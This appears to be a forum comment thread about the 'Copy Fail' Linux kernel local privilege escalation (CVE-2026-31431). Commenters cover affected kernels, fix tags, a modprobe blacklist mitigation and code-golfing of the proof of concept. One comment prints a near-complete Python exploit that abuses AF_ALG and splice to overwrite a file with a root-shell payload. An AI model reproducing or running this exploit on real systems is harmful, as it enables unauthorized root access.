https://www.chronox.de/libkcapi/html/ch01s02.html

It states the following:

> There are several reasons for AF_ALG:

> * The first and most important item is the access to hardware accelerators and hardware devices whose technical interface can only be accessed from the kernel mode / supervisor state of the processor. Such support cannot be used from user space except through AF_ALG.

> * When using user space libraries, all key material and other cryptographic sensitive parameters remains in the calling application's memory even when the application supplied the information to the library. When using AF_ALG, the key material and other sensitive parameters are handed to the kernel. The calling application now can reliably erase that information from its memory and just use the cipher handle to perform the cryptographic operations. If the application is cracked an attacker cannot obtain the key material.

> * On memory constrained systems like embedded systems, the additional memory footprint of a user space cryptographic library may be too much. As the kernel requires the kernel crypto API to be present, reusing existing code should reduce the memory footprint.

I can't judge whether this is a good justification, but there is one.

Would be an interesting story.

https://ubuntu.com/security/cves/about#priority

> Medium: A significant problem, typically exploitable for many users. Includes network daemon denial of service, cross-site scripting, and gaining user privileges.

I agree that it would be a good idea to define it explicitly when writing for a broader audience, but I don't think it's particularly egregious that they didn't. It's certainly something I could see myself forgetting.

Then again, the whole writeup appears to be AI-generated, so...

https://github.com/anthropics/claude-code/issues/40741 (gcc version "Red Hat 14.3" included in system version at the bottom)

https://docs.oracle.com/en/database/oracle/tuxedo/22/otxig/s...

Indeed. "Distributions we directly verified: RHEL 14.3". Directly verified by me to be AI slop (the release page at least).

https://access.redhat.com/articles/red-hat-enterprise-linux-...

> Talk to our security experts

(at the bottom of the page)

I have a sneaking suspicion his first name is Claude. Don't get me wrong though, he is pretty good I hear.

they state that the write-up is forthcoming. presumably there is some additional steps or modifications that will be detailed in the 'part 2'.

"Next: "From Pod to Host," how Copy Fail escapes every major cloud Kubernetes platform."

The details will depend on whether the kernel is a newer release or a maintenance version of an older release.

They've done themselves no favours at all with their write up.

It does seem legitimate (I was able to use the PoC on a 24.04 instance), and seems like it should be a big deal, but the actual number of affected distributions seems way lower, and not even remotely as per their claim every distribution since 2017.

For example with Ubuntu, if I'm reading it right there's some impact in 16.04 (EOL), but then at least as per their analysis, only the vendor specific 6.17 kernels they ship that have it (e.g. linux-gcp, linux-oracle-6.7 etc.). That's a relatively new kernel version they started shipping recently, after it was released upstream last September.

    https://github.com/torvalds/linux.git
    https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git as remotes:

    git log --all --grep 'crypto: algif_aead - Revert to operating out-of-place' '--format=%H' | xargs -I '{}' git tag --contains '{}' | sort -u

    v6.18.22
    v6.18.23
    v6.18.24
    v6.18.25
    v6.19.12
    v6.19.13
    v6.19.14
    v7.0
    v7.0.1
    v7.0.2
    v7.0-rc7
    v7.1-rc1

https://security-tracker.debian.org/tracker/CVE-2026-31431

https://ubuntu.com/security/CVE-2026-31431

Also, disabling algif_aead is suggested as mitigation

EDIT: Sorry, I failed at reading your message. Never mind.

Unfortunately it fails on calling bind() on my device, so probalby Android doesn't ship with that kenrel module by default :(. So no freedom for my $40 phone.

Putting it out here, maybe somebody else will have better luck.

[1] https://gist.github.com/alufers/921cd6c4b606c5014d6cc61eefb0...

    File "/data/data/com.termux/files/home/a.py", line 5, in c
      a=s.socket(38,5,0); # ...
    File "/data/data/com.termux/files/usr/lib/python3.13/socket.py", line 233, in __init__
      _socket.socket.__init__(self, family, type, proto, fileno)
      ~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  PermissionError: [Errno 13] Permission denied

If you wanted real savings, you'd use "d=bytes.fromhex" instead of defining a function -- 17 bytes!! And d('00') -> b'\0' for -2 bytes.

We could easily get the byte count down further by using base64.b85decode instead of bytes.fromhex (-70 or so), but ultimately we're optimizing a meaningless metric, as you mention.

Where do you see this "fetishizing" happening most often? It's a strange thing to counter-fetishize about.

But the fact that it's not a kernel-exec LPE and it's reliable across kernels and distributions is important; it's close to the maximum "exploitability" you're going to see with an LPE. Which the page does communicate effectively; it just gilds the lily.

Assuming AI was correct, it unpacks more or less like this

import os, zlib, socket

AF_ALG = 38

SOCK_SEQPACKET = 5

SOL_ALG = 279

def hex_bytes(x):

    return bytes.fromhex(x)

    sock = socket.socket(AF_ALG, SOCK_SEQPACKET, 0)

    sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))

    sock.setsockopt(SOL_ALG, 1, hex_bytes("0800010000000010" + "0" * 64))

    sock.setsockopt(SOL_ALG, 5, None, 4)

    op, _ = sock.accept()

    length = offset + 4

    zero = b"\x00"

    op.sendmsg(

        [b"A" * 4 + patch4],

        [

            (SOL_ALG, 3, zero * 4),

            (SOL_ALG, 2, b"\x10" + zero * 19),

            (SOL_ALG, 4, b"\x08" + zero * 3),

        ],

        32768,

    )

    read_pipe, write_pipe = os.pipe()

    os.splice(fd, write_pipe, length, offset_src=0)

    os.splice(read_pipe, op.fileno(), length)

    try:

        op.recv(8 + offset)

    except:

        pass

payload = zlib.decompress(bytes.fromhex("..."))

offset = 0

while offset < len(payload):

    trigger(target, offset, payload[offset:offset + 4])

    offset += 4

"The honest solution: a clean 50-line cut" and so on, ad nauseam

How often do you review, and subsequently block the release, of PoCs in this sort of context? Sounds like you've faced this a lot.

I always thought code quality mattered less in those, as long as you communicate the intent.

"Just" is doing a lot of work there, I'm so annoyed reading it.

It's like an anti-ad and they had pretty cool material to work with.

* Claude loves stacatto "Some numeric figure. Something else. Intensifier" (ex. the "exploitable for a decade." or whatever sentences)

Then go on. zlib is only used once, so "zlib as z" in exchange for using z once doesn't get you anything. Using os directly and not renaming it g saves you 2 bytes though. But in this age where AI outputs reams of code at the drop of a hat, why shouldn't we enjoy how small you can get it to pop a root shell?

https://gist.github.com/fragmede/4fb38fb822359b8f5914127c2fe...

edit: If we drop offset_src=0 and just pass in 0 positionally, it comes down to 720.

lucky for them, its an exploit script, not enterprise code.

all that needs to be "reviewed" is whether or not it exploits the thing its supposed to.

edit: yall really think a 10-line proof of concept script needs to undergo a code review? wild. i shouldnt be surprised that the top comment on a cool LPE exploit is complaining about variable naming

https://object.ceph-waw3.hswaw.net/mastodon-prod/media_attac...

i bet if i told you their names, you would instantly know what vulns those are.

its easier to talk about things with names. it hurts no one. it takes approximately no effort or time.

CVEs are, for whatever reason, like the only thing on the planet that people seem to have a problem with when they receive a name. i am not sure why.

Very few CVE’s get names dedicated to them like this, because usually when they do - it is very serious, as in this case.

It doesn't, it's just a compressed ELF file that does setuid(0); execve(/bin/sh, 0, 0). You can just unzlib it and throw it in a disassembler.

This is usable anywhere on an affected Kernel version

    % git describe a664bf3d603d
    v7.0-rc1-10-ga664bf3d603d

  printf "# CVE-2026-31431\nblacklist algif_aead\ninstall algif_aead /bin/false\n" | sudo tee /etc/modprobe.d/blacklist-algif_aead.conf >/dev/null && sudo update-initramfs -u

you are reading about it now because it has been patched.